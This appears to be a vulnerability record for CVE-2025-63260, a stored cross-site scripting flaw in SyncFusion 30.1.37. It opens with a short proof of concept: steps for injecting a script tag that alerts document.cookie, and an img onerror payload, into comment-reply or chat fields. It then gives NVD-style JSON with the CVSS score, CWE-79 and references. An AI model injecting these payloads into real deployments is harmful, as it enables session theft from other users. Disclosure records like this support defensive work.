CVE-2025-63260

<!-- PoC for SyncFusion Document-Editor / Chat-UI Stored XSS --> <!-- Step 1: Login with a valid user account --> <!-- Step 2: Navigate to Document-Editor or Chat-UI --> <!-- Step 3: Inject the following payload into the 'Reply to comment' field or 'Chat message' input --> <script> // Simple proof of concept to execute JavaScript in victim's browser alert('XSS Vulnerability Verified: ' + document.cookie); </script> <!-- Alternative Payload (Image based) --> <img src=x onerror=alert('XSS Triggered')>

{"cve": {"id": "CVE-2025-63260", "sourceIdentifier": "[email protected]", "published": "2026-03-20T20:16:47.087", "lastModified": "2026-04-14T19:26:57.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SyncFusion 30.1.37 is vulnerable to Cross Site Scripting (XSS) via the Document-Editor reply to comment field and Chat-UI Chat message."}, {"lang": "es", "value": "SyncFusion 30.1.37 es vulnerable a Cross Site Scripting (XSS) a través del campo de respuesta a comentarios del Editor de Documentos y el mensaje de chat de la interfaz de usuario de chat."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:syncfusion:syncfusion:30.1.37:*:*:*:*:*:*:*", "matchCriteriaId": "F055B5B6-09A5-46EA-85F7-B925AAE3E220"}]}]}], "references": [{"url": "http://syncfusion.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://pentest-tools.com/PTT-2025-023-Multiple-Stored-XSS.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}